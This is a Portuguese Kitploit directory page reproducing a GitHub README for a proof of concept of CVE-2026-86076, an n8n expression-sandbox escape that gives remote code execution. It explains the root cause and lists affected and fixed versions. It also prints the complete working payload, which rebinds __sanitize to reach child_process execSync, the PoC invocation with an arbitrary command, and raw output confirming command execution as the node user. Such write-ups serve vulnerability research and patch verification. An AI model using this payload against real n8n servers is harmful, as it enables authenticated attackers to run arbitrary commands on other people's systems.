Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-86076-PoC — CVE-2026-86076 — escape do sandbox de expressões do n8n via religação de __sanitize em campo de classe (RCE no backend). Verificado v2.37.6 (uid=node) / v2.37.7. | Kitploit
Ferramentas/GitHubGitHub/boreas37/cve-2026-86076-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubboreas37/cve-2026-86076-poc

CVE-2026-86076-PoC

CVE-2026-86076 — escape do sandbox de expressões do n8n via religação de __sanitize em campo de classe (RCE no backend). Verificado v2.37.6 (uid=node) / v2.37.7.

Ver Repositório
1112há 11 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-86076 — escape do sandbox de expressões do n8n via religação do sanitizador por campos de classe

Execução de código autenticada (com edição de workflow) no processo backend do n8n. O compilador de expressões injeta this.__sanitize(key) para cada acesso a membro computado; um campo de classe literalmente chamado __sanitize religa esse sanitizador para o resto do corpo da classe, o que permite a passagem de constructor e chega ao construtor Function real → process.mainModule.require('child_process').

  • CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Afetado: < 1.123.76, >= 2.0.0 < 2.37.7, >= 2.38.0 < 2.38.2
  • Corrigido: 1.123.76 / 2.37.7 / 2.38.2
  • Commit da correção: 184584828610 ("chore: Bundle 2.x (backport to release-candidate/2.37.x)", #37588) → packages/workflow/src/expression-sandboxing.ts (visitClassBody rejeita nomes de membros reservados) e packages/@n8n/tournament/src/ExpressionBuilder.ts (___n8n_data agora é uma ligação lexical em vez de this).

Causa raiz

PrototypeSanitizer (um hook de AST after) reescreve

[]['constr' + 'uctor']        →   [][this.__sanitize('constr' + 'uctor')]

dataNode é o objeto de dados da expressão. Quando a expressão não contém nenhum literal de função, dataNode foi emitido como this, e não como o ___n8n_data léxico:

// packages/@n8n/tournament/src/ExpressionBuilder.ts (2.37.6)
let dataNode = b.thisExpression();
if (hasFn) { dataNode = b.identifier(dataNodeName); ... }

Dentro de um inicializador de campo de classe, this é a instância, então um campo chamado __sanitize assume a chamada do sanitizador. Um substituto de passagem direta é suficiente — [].concat.bind([]) retorna ['constructor'], e obj[['constructor']] é coagido para a chave constructor:

(new (class {
   __sanitize = [].concat.bind([]);
   x = []['constr'+'uctor']['constr'+'uctor']('return process')()
        ['main'+'Module']['requ'+'ire'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27child_process%27)['exec'+'Sync'](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%27id%27).toString()
})).x

Código emitido (verificado no contêiner com o compilador real):

return (new (class { __sanitize = [].concat.bind([]); x = [][this.__sanitize("constr"+"uctor")][this.__sanitize("constr"+"uctor")](...

Antes do patch, nada rejeitava um membro de classe chamado __sanitize (RESERVED_VARIABLE_NAMES era verificado apenas para identificadores vinculados).

Nota do motor (importante)

O payload precisa do motor de expressões em processo:

environment:
  - N8N_EXPRESSION_ENGINE=legacy

Com o motor vm padrão, a mesma expressão ainda contorna o sanitizador de AST ([]['constr'+'uctor'] já não é bloqueado — verificado), mas o código é executado dentro do isolate do isolated-vm, que não tem process.mainModule; sem execução de código no host. 2.37.7 rejeita a expressão em ambos os motores.

Lab

cd ~/projects/poc-labs/n8n
docker compose -p poc-n8n-cve86076      -f docker-compose.2376.yml up -d   # n8nio/n8n:2.37.6  -> :20002
docker compose -p poc-n8n-cve86076-fix  -f docker-compose.2377.yml up -d   # n8nio/n8n:2.37.7  -> :20003

Ambos os arquivos fixam N8N_EXPRESSION_ENGINE=legacy, SQLite, com bind-mount de ./data-*. O PoC cria a própria conta de proprietário (POST /rest/owner/setup + /rest/login).

Executar

python3 n8n_poc.py --url http://127.0.0.1:20002 \
  --command 'id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076'

Vulnerável — n8nio/n8n:2.37.6 (run_vulnerable_2.37.6.txt)

[*] target   : http://127.0.0.1:20002
[*] version  : undisclosed
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); x = []["constr"+"uctor"]["constr"+"uctor"]("return process")()["main"+"Module"]["requ"+"ire"](https://github.com/boreas37/cve-2026-86076-poc/blob/master/%22child_process%22)["exec"+"Sync"]("id; touch /tmp/PWNED_86076; ls -l /tmp/PWNED_86076").toString() })).x
[*] workflow : fzbEEvoS4e1Y96wB
[*] execution: 11
[+] command output:
    uid=1000(node) gid=1000(node) groups=1000(node)
    -rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
=> PASS (CVE-2026-86076: command executed as the n8n process user)
exit=0

Efeito colateral lido de volta do contêiner (side_effect_2.37.6.txt):

-rw-r--r--    1 node     node             0 Oct 24 13:38 /tmp/PWNED_86076
uid=1000(node) gid=1000(node) groups=1000(node)

Corrigido — n8nio/n8n:2.37.7 (run_patched_2.37.7.txt)

[*] target   : http://127.0.0.1:20003
[*] auth     : logged in as [email protected]
[*] payload  : (new (class { __sanitize = [].concat.bind([]); ...
[*] workflow : L4394ZmScoegIFnf
[*] execution: 4
[!] no code execution: Cannot use "__sanitize" due to security concerns
=> FAIL (CVE-2026-86076: expression blocked or produced no output)
exit=1
$ docker exec n8n-vuln-2377 ls -l /tmp/PWNED_86076
ls: /tmp/PWNED_86076: No such file or directory

Canal de evidências

O stdout do comando é retornado por execSync(...).toString() como o valor do nó Set e lido de volta a partir de GET /rest/executions/<id>?includeData=true (payload "flatted" do n8n, decodificado no script). O efeito colateral em disco (/tmp/PWNED_86076) foi adicionalmente confirmado com docker exec.

Arquivos

arquivoconteúdo
n8n_poc.pyPoC somente com stdlib (--url --email --password --command --cve --output)
run_vulnerable_2.37.6.txt, run_patched_2.37.7.txtexecuções brutas
evidence_vulnerable_2.37.6.json, evidence_patched_2.37.7.jsonevidências JSON
side_effect_2.37.6.txt, side_effect_2.37.7.txtverificação no lado do contêiner
docker_logs_2.37.6.txt, docker_logs_2.37.7.txtlogs do contêiner
Baixar ferramenta